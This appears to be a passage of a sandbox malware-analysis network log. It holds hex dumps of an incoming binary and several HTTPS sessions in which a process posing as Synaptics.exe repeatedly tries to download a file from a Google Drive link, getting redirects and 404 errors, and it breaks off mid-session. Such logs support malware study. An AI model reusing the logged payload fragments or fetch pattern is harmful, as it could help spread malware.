2024-12-30 03:59:04 UTC	16384	IN	Data Raw: 20 73 4b 85 db 74 47 b9 20 00 00 00 2b cf 89 4c 24 0c 8b 4c 24 14 2b ce 55 8d 14 9e 89 4c 24 0c eb 05 90 8b 4c 24 0c 8b 74 11 fc 83 ea 04 8b ee 8b cf d3 ed 4b 0b e8 89 2a 85 ff 74 0a 8b 4c 24 10 d3 e6 8b c6 eb 02 33 c0 85 db 75 d6 5d 5e 5b 83 c4 08 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 81 ec 38 06 00 00 55 8b ac 24 4c 06 00 00 57 8b f8 8b 84 24 54 06 00 00 85 c0 0f 84 d4 02 00 00 48 83 3c 87 00 75 07 8b c8 48 85 c9 75 f3 53 8d 58 01 89 5c 24 14 85 db 0f 84 b5 02 00 00 8b 4c 9f fc 33 c0 85 c9 74 08 40 d1 e9 83 f8 20 72 f4 56 be 20 00 00 00 2b f0 89 74 24 2c 8b cb 8d 84 24 3c 02 00 00 eb 09 8d a4 24 00 00 00 00 8b ff c7 00 00 00 00 00 83 c0 04 83 e9 01 75 f2 8b 84 24 54 06 00 00 55 8d 8c 24 40 02 00 00 e8 ae fe ff ff 89 84 ac 40 02 00 00 53 8b c7 Data Ascii: sKtG +L$L$+UL$L$tK*tL$3u]^[8U$LW$TH<uHuSX\$L3t@ rV +t$,$<$u$TU$@@S
2024-12-30 03:59:04 UTC	16384	IN	Data Raw: 4d 00 8d 55 d8 52 c7 45 d8 50 20 4c 00 e8 77 7c 07 00 8b 45 08 8b 4d ec 89 45 e4 40 89 65 f0 50 c6 45 fc 02 e8 5a 03 00 00 89 45 08 b8 ff c9 40 00 c3 8b 7d ec 8b 75 e4 8b 5d 0c 85 db 76 20 83 7f 18 10 72 05 8b 47 04 eb 03 8d 47 04 8b 4d 08 53 50 8d 46 01 50 51 e8 a1 7b 07 00 83 c4 10 83 7f 18 10 72 0c 8b 57 04 52 e8 03 7b 07 00 83 c4 04 8b 4d 08 8d 47 04 c6 00 00 89 08 89 77 18 89 5f 14 83 fe 10 72 02 8b c1 c6 04 18 00 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c2 08 00 8b 75 ec 83 7e 18 10 72 0c 8b 46 04 50 e8 be 7a 07 00 83 c4 04 6a 00 c7 46 18 0f 00 00 00 c7 46 14 00 00 00 00 6a 00 c6 46 04 00 e8 b8 7b 07 00 cc cc 56 57 8b 7c 24 0c 85 ff 74 2c 8b 71 18 8d 41 04 83 fe 10 72 04 8b 10 eb 02 8b d0 3b fa 72 17 83 fe 10 72 02 8b 00 8b 49 14 03 c8 3b Data Ascii: MUREP Lw\|EME@ePEZE@}u]v rGGMSPFPQ{rWR{MGw_rMdY_^[]u~rFPzjFFjF{VW\|$t,qAr;rrI;
2024-12-30 03:59:04 UTC	16384	IN	Data Raw: 8d 74 24 2c e8 ba 00 00 00 8d 44 24 0c e8 81 04 00 00 eb 3e 53 8d 4c 24 10 e8 35 f8 ff ff 83 c4 04 8d 74 24 2c e8 99 00 00 00 c7 44 24 48 ff ff ff ff 8b 44 24 0c 83 c0 f0 83 ca ff 8d 48 0c f0 0f c1 11 4a 85 d2 7f 0a 8b 08 8b 11 50 8b 42 04 ff d0 b8 01 00 00 00 8b 4c 24 40 64 89 0d 00 00 00 00 59 5f 5e 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc a1 a4 cd 4e 00 8b 50 0c b9 a4 cd 4e 00 ff d2 83 c0 10 89 06 a1 a4 cd 4e 00 8b 50 0c b9 a4 cd 4e 00 ff d2 83 c0 10 89 46 04 a1 a4 cd 4e 00 8b 50 0c b9 a4 cd 4e 00 ff d2 83 c0 10 89 46 08 8b c6 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 46 08 83 e8 10 8d 48 0c 83 ca ff f0 0f c1 11 4a 85 d2 7f 0a 8b 08 8b 11 50 8b 42 04 ff d0 8b 46 04 83 e8 10 8d 48 0c 83 ca ff f0 0f c1 11 4a 85 d2 7f 0a 8b 08 8b 11 50 8b 42 04 Data Ascii: t$,D$>SL$5t$,D$HD$HJPBL$@dY_^]NPNNPNFNPNFFHJPBFHJPB
2024-12-30 03:59:04 UTC	16384	IN	Data Raw: 89 9c 24 74 04 00 00 68 02 00 00 80 89 5c 24 34 ff 15 40 e0 4b 00 3b c3 0f 85 bc 00 00 00 8b 7c 24 20 33 c0 89 7c 24 34 89 5c 24 38 89 44 24 2c 8d 49 00 8d 54 24 3c 52 53 53 53 8d 4c 24 2c 51 8d 94 24 60 02 00 00 52 50 be 04 01 00 00 57 89 74 24 3c ff 15 28 e0 4b 00 85 c0 0f 85 44 01 00 00 89 5c 24 14 89 5c 24 18 8d 44 24 28 50 6a 01 53 8d 8c 24 58 02 00 00 51 c6 84 24 74 04 00 00 01 57 89 5c 24 3c ff 15 40 e0 4b 00 3b c3 75 51 8b 6c 24 28 68 88 e6 4c 00 8d 54 24 18 89 74 24 20 52 8d 7c 24 24 8d 74 24 4c 89 6c 24 1c 89 5c 24 20 e8 6c db ff ff 85 c0 74 36 88 9c 24 64 04 00 00 3b eb 74 0b 55 ff 15 3c e0 4b 00 89 5c 24 14 89 5c 24 18 e9 b3 00 00 00 33 c0 e9 ef 00 00 00 88 9c 24 64 04 00 00 89 5c 24 18 e9 9c 00 00 00 8d 44 24 44 50 e8 87 64 07 00 83 c4 04 83 Data Ascii: $th\$4@K;\|$ 3\|$4\$8D$,IT$<RSSSL$,Q$`RPWt$<(KD\$\$D$(PjS$XQ$tW\$<@K;uQl$(hLT$t$ R\|$$t$Ll$\$ lt6$d;tU<K\$\$3$d\$D$DPd
2024-12-30 03:59:04 UTC	16384	IN	Data Raw: 00 ff 74 24 14 ff 31 ff 15 44 e0 4b 00 c2 08 00 55 8b ec 83 7d 0c 00 56 8b f1 75 05 6a 0d 58 eb 21 ff 75 0c ff 15 78 e3 4b 00 8d 44 00 02 50 ff 75 0c ff 75 10 6a 00 ff 75 08 ff 36 ff 15 44 e0 4b 00 5e 5d c2 0c 00 53 56 8b 74 24 10 8b d9 85 f6 75 05 6a 0d 58 eb 2d 57 33 ff 56 ff 15 78 e3 4b 00 40 8d 0c 00 03 f1 03 f9 83 f8 01 75 ec 57 ff 74 24 18 6a 07 6a 00 ff 74 24 20 ff 33 ff 15 44 e0 4b 00 5f 5e 5b c2 08 00 ff 74 24 08 ff 74 24 08 ff 15 68 e3 4b 00 f7 d8 1a c0 fe c0 c3 b8 09 00 02 80 c2 04 00 8b 01 6a 27 59 66 3b 08 75 13 50 ff 15 64 e5 4b 00 6a 27 59 66 3b 08 74 04 33 c0 40 c3 33 c0 c3 8b 44 24 04 83 f8 64 56 8b f1 7d 05 b8 e8 03 00 00 83 26 00 6a 02 50 89 46 04 e8 88 fc ff ff 59 59 89 46 08 85 c0 74 05 33 c9 66 89 08 8b c6 5e c2 04 00 ff 71 08 ff 15 Data Ascii: t$1DKU}VujX!uxKDPuuju6DK^]SVt$ujX-W3VxK@uWt$jjt$ 3DK_^[t$t$hKj'Yf;uPdKj'Yf;t3@3D$dV}&jPFYYFt3f^q
2024-12-30 03:59:04 UTC	16384	IN	Data Raw: 00 56 8b f1 8b 0e 85 c9 74 08 e8 dc fd ff ff 83 26 00 5e c3 55 8b ec 83 7d 08 00 56 57 8b f9 75 0a 68 57 00 07 80 e8 b8 15 ff ff ff 75 0c ff 75 08 e8 fb a1 06 00 59 59 8b f0 56 8b cf e8 f1 04 ff ff ff 75 0c 8d 4e 01 ff 75 08 51 50 e8 27 a4 06 00 83 c4 10 56 8b cf e8 06 05 ff ff 5f 5e 5d c2 08 00 56 8b f1 6a 00 6a 00 8d 4e 14 e8 70 ad ff ff 85 c0 75 0d 6a 0e ff 15 64 e3 4b 00 83 c8 ff eb 2d 56 83 c6 08 56 68 c0 cd 4e 00 e8 18 cc ff ff ff 74 24 0c 68 6b a9 41 00 ff 74 24 10 68 81 00 00 00 ff 35 34 cd 4e 00 ff 15 84 e5 4b 00 5e c2 08 00 e9 48 ff ff ff 6a 00 b8 e9 40 4b 00 e8 8f 89 06 00 8b 45 08 83 65 fc 00 85 c0 74 04 8b 00 eb 02 33 c0 8b 11 50 51 ff 52 0c 8b 4d 08 8b f0 85 c9 74 05 e8 00 fd ff ff 8b c6 e8 3a 8a 06 00 c2 04 00 6a 00 b8 0c 41 4b 00 e8 53 89 Data Ascii: Vt&^U}VWuhWuuYYVuNuQP'V_^]VjjNpujdK-VVhNt$hkAt$h54NK^Hj@KEet3PQRMt:jAKS
2024-12-30 03:59:04 UTC	16384	IN	Data Raw: ff 44 0a 35 3e c7 85 a4 fd ff ff d5 cd b4 bc c7 85 a8 fd ff ff a8 ce ea 72 c7 85 ac fd ff ff bb 84 64 fa c7 85 b0 fd ff ff ae 12 66 8d c7 85 b4 fd ff ff 47 6f 3c bf c7 85 b8 fd ff ff 63 e4 9b d2 c7 85 bc fd ff ff 9e 5d 2f 54 c7 85 c0 fd ff ff 1b 77 c2 ae c7 85 c4 fd ff ff 70 63 4e f6 c7 85 c8 fd ff ff 8d 0d 0e 74 c7 85 cc fd ff ff 57 13 5b e7 c7 85 d0 fd ff ff 71 16 72 f8 c7 85 d4 fd ff ff 5d 7d 53 af c7 85 d8 fd ff ff 08 cb 40 40 c7 85 dc fd ff ff cc e2 b4 4e c7 85 e0 fd ff ff 6a 46 d2 34 c7 85 e4 fd ff ff 84 af 15 01 c7 85 e8 fd ff ff 28 04 b0 e1 c7 85 ec fd ff ff 1d 3a 98 95 c7 85 f0 fd ff ff b4 9f b8 06 c7 85 f4 fd ff ff 48 a0 6e ce c7 85 f8 fd ff ff 82 3b 3f 6f c7 85 fc fd ff ff 82 ab 20 35 c7 85 00 fe ff ff 4b 1d 1a 01 c7 85 04 fe ff ff f8 27 72 27 Data Ascii: D5>rdfGo<c]/TwpcNtW[qr]}S@@NjF4(:Hn;?o 5K'r'
2024-12-30 03:59:04 UTC	16384	IN	Data Raw: 33 ff 39 be f0 10 00 00 0f 84 d4 01 00 00 8b 45 10 8d 4e 08 89 86 04 11 00 00 89 be f4 10 00 00 e8 98 cc ff ff 8d 9e cc 10 00 00 8b cb 89 5d f0 e8 bc 99 ff ff ff 75 0c 89 7e 4c 8d 7e 58 8b cf e8 15 92 ff ff 57 e8 bb 94 ff ff c7 04 24 5c 11 4c 00 ff 37 e8 0d 02 06 00 f7 d8 59 1b c0 59 40 8d 4d d0 89 86 f8 10 00 00 e8 cc d3 ff ff 83 65 fc 00 8d 4d e8 e8 c0 d3 ff ff 8d 45 e8 50 8d 45 d0 50 ff 75 08 c6 45 fc 01 e8 c3 94 ff ff 83 c4 0c 8b cf e8 d7 90 ff ff 83 f8 03 0f 82 20 01 00 00 8d 4d d0 e8 c6 90 ff ff 83 f8 02 0f 82 0f 01 00 00 8d 4d e8 e8 b5 90 ff ff 83 f8 02 0f 82 fe 00 00 00 8d 7e 60 8b 07 33 c9 66 89 08 8d 4d d8 e8 48 d3 ff ff 8d 4d e0 c6 45 fc 02 e8 3c d3 ff ff bb a6 3d 42 00 eb 45 8b cf e8 80 90 ff ff 85 c0 74 71 57 8d 4d e8 e8 5e 91 ff ff ff 75 e0 Data Ascii: 39EN]u~L~XW$\L7YY@MeMEPEPuE MM~`3fMHME<=BEtqWM^u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:07 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 03:59:08 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:08 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ExyB9bjuO92GdfrlgJ75OA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:07 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 03:59:08 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:07 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce--LEOwFsMCcjLPnxLcgdHpg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:08 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 03:59:09 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:08 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-ZE_MQgg3s6yc8tJNQoSzpQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49746	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:08 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 03:59:09 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:09 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-vxcstN03jBnPRmOW02ipaQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49745	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:08 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-30 03:59:09 UTC	1601	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6TKuRk0hgUk2Tb9kjOxkBIeSTsrnF1u8g4YV721yB-sW5Fz-CpvLZgaHxjghT7i1sgMsch1HM Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:09 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-UV5JMyfHuzI85Fe0L9FSmA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=PHLPwFBV3nP3NSbmBNppx94wfdqPQl4Q-izB7Q9f0_bxaxWANYb1QcaTubhKjd2R6xySamhdnl-RYaDARyDu81yP1iK-V-e7E34pqVgPJwxEHcLMQ5b4PH3P0YYqID63fImAuLFJ1XTfSeu5RvIPc-V_WgPJ4D2Xww1UxfxNrV61NdVFmp2YgJg; expires=Tue, 01-Jul-2025 03:59:08 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:09 UTC	1601	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 42 6e 6a 6e 66 5f 77 47 63 76 39 62 4a 6f 70 4f 7a 47 66 79 59 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Bnjnf_wGcv9bJopOzGfyYg">*{margin:0;padding:0}html,code{font:15px/22px arial
2024-12-30 03:59:09 UTC	51	IN	Data Raw: 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: his server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49747	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:08 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-30 03:59:09 UTC	1595	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4ONYrnS6TaNGgqv6UdqQtrihFlHsGikp1VWLQsCFtZphjcPmmJJ0AVXQHzumzqY7pM Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:09 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ZCQ-PQ88OSpNFbRdm_0DlA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ; expires=Tue, 01-Jul-2025 03:59:09 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:09 UTC	1595	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 77 4d 4e 6b 6b 65 37 4e 6a 6a 79 74 59 74 67 65 5f 79 59 54 6c 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="wMNkke7NjjytYtge_yYTlw">*{margin:0;padding:0}html,code{font:15px/22px arial
2024-12-30 03:59:09 UTC	57	IN	Data Raw: 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: d on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49750	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:10 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 03:59:10 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:10 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-z0uhgEb3L28JVztdGCjl7w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49752	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
